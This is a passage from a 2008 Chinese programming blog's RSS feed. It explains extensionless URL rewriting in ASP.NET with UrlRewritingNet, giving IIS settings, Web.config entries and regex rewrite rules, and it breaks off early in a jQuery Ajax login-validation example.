GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/10/23/1318071.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1318071.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/10/23/1318071.html#Feedback</comments><slash:comments>33</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1318071.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1318071.html</trackback:ping><description><![CDATA[<p>以前的一篇关于UrlRewrite文章，<a id="AjaxHolder_ctl01_TitleUrl" href="http://www.cnblogs.com/aqiang/archive/2008/02/27/1083710.html"><font color="#009933">UrlRewritingNet 完美实现 ASP.NET 2.0 中的URL重写(映射) </font></a>．有一些园友留言对于无扩展名的UrlRewrite无法实现，如：<a href="http://www.xxx.com/Register">http://www.xxx.com/Register</a>,下面就把实现细节及注意事项说一下，还有问题的请<a href="http://files.cnblogs.com/aqiang/URLRewrite.rar">下载源码</a>．</p>
<p>(1)在2003系统下,按照下图在IIS中设置添加统配符,另外注意圈红的地方．</p>
<p>(2)在XP系统下,在扩展名影射中，扩展名：.*,处理程序aspnet_isapi(感谢<a id="AjaxHolder_Comments_CommentList_ctl26_NameLink" href="http://www.cnblogs.com/S.Sams/" target="_blank"><font color="#009933">S.Sams</font></a>提供思路)．</p>
<p><img height="443" alt="" src="http://www.cnblogs.com/images/cnblogs_com/aqiang/1.gif" width="462" border="0" /></p>
<p>2 站点中引入UrlRewrting.dll</p>
<p>3&nbsp;Web.config配置修改如下：</p>
<p>&lt;appSettings&gt;<br />
&nbsp;&nbsp;&lt;add key="SiteUrls" value="~/SiteUrls.config"/&gt;<br />
&nbsp;&lt;/appSettings&gt;</p>
<p>&lt;httpModules&gt;<br />
&nbsp;&nbsp;&nbsp;&lt;add name="MyHttpModule" type="UrlRewriting.MyHttpModule,UrlRewriting"/&gt;<br />
&nbsp;&nbsp;&lt;/httpModules&gt;<br />
&nbsp;&nbsp;&lt;httpHandlers&gt;<br />
&nbsp;&nbsp;&nbsp;&lt;add verb="*" type="UrlRewriting.Http404,UrlRewriting" path="404.aspx"/&gt;<br />
&nbsp;&nbsp;&lt;/httpHandlers&gt;</p>
<p>4&nbsp;SiteUrls.config如下：</p>
<p>&nbsp;</p>
<div class="cnblogs_code"><img id="Code_Closed_Image_164044" onclick="this.style.display='none'; document.getElementById('Code_Closed_Text_164044').style.display='none'; document.getElementById('Code_Open_Image_164044').style.display='inline'; document.getElementById('Code_Open_Text_164044').style.display='inline';" height="16" src="http://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif" width="11" align="top"><img id="Code_Open_Image_164044" style="display: none" onclick="this.style.display='none'; document.getElementById('Code_Open_Text_164044').style.display='none'; getElementById('Code_Closed_Image_164044').style.display='inline'; getElementById('Code_Closed_Text_164044').style.display='inline';" height="16" src="http://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif" width="11" align="top"><span class="cnblogs_code_Collapse" id="Code_Closed_Text_164044">Code</span><span id="Code_Open_Text_164044" style="display: none"><br />
<!--<br /><br />Code highlighting produced by Actipro CodeHighlighter (freeware)<br />http://www.CodeHighlighter.com/<br /><br />--><span style="color: #0000ff">&lt;?</span><span style="color: #ff00ff">xml&nbsp;version="1.0"&nbsp;encoding="utf-8"&nbsp;</span><span style="color: #0000ff">?&gt;</span><span style="color: #000000"><br />
</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterConfig</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Register</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Register.aspx</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Login</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Login.aspx</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/EN/DownLoad/(\d{4,12})_(\d{2,8})/(\d{1,5})/Default\.aspx</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/EN_DownLoadIntro.aspx?&amp;Catalog=$2&amp;id=$3</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/BoardList_(\d{1,8})</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/BoardList.aspx?BigClassID=$1</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Board_(\d{1,8})</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/Board.aspx?SmallClassID=$1</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Topic_(\d{1,8})</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/Topic.aspx?ID=$1</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Post</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/Post.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Register</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/Register.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Login</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/Login.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/Logout</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/Logout.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserInfo_([\w]+)</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserInfoDetail.aspx?UserID=$1</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserCenter</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserCenter.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserTopics</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserTopics.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserPosts</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserPosts.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserFavorates</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserFavorates.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserInMails</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserInMails.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserSendMail</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserSendMail.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/UserOutMails</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/UserOutMails.aspx</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000">~/ffsu(.*)</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">LookFor</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #0000ff">&lt;![CDATA[</span><span style="color: #808080">~/PageParse.aspx?p=$1</span><span style="color: #0000ff">]]&gt;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">SendTo</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
&nbsp;&nbsp;</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterRule</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
</span><span style="color: #0000ff">&lt;/</span><span style="color: #800000">RewriterConfig</span><span style="color: #0000ff">&gt;</span><span style="color: #000000"><br />
<br />
<br />
<br />
</span></span></div>
<p>&nbsp;</p>
<p>5 测试</p>
<p><img height="338" alt="" src="http://www.cnblogs.com/images/cnblogs_com/aqiang/2.gif" width="343" border="0" /></p>
<p>&nbsp;</p>
<p><img height="274" alt="" src="http://www.cnblogs.com/images/cnblogs_com/aqiang/3.gif" width="479" border="0" /></p>
<p>&nbsp;</p>
<p><a href="http://files.cnblogs.com/aqiang/URLRewrite.rar">下载</a></p>
<img src ="http://www.cnblogs.com/aqiang/aggbug/1318071.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/47960/" target="_blank">火狐3.5版被指推出太匆忙：存在50多个漏洞</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>JQuery 实例学习系列(1):Ajax登陆验证</title><link>http://www.cnblogs.com/aqiang/archive/2008/10/23/1317592.html</link><dc:creator>阿强.Net</dc:creator><author>阿强.Net</author><pubDate>Thu, 23 Oct 2008 02:23:00 GMT</pubDate><guid>http://www.cnblogs.com/aqiang/archive/2008/10/23/1317592.html</guid><wfw:comment>http://www.cnblogs.com/aqiang/comments/1317592.html</wfw:comment><comments>http://www.cnblogs.com/aqiang/archive/2008/10/23/1317592.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/aqiang/comments/commentRss/1317592.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/aqiang/services/trackbacks/1317592.html</trackback:ping><description><![CDATA[<p>本文通过一个Ajax登陆实例，学习JQuery在Ajax方面的应用。</p>
<p>//前台代码</p>
<p>&nbsp;&nbsp;&nbsp; &lt;script language="javascript"&gt;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $(document).ready(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $("#btnLogin").click(function(){Login();})<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; );<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function Login()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(Check())<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Go();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function Check()<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if($("#txtUserID").val()=="")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alert("帐号不能为空!");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $("#txtUserID").focus();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return false;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if($("#txtPass").val()=="")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
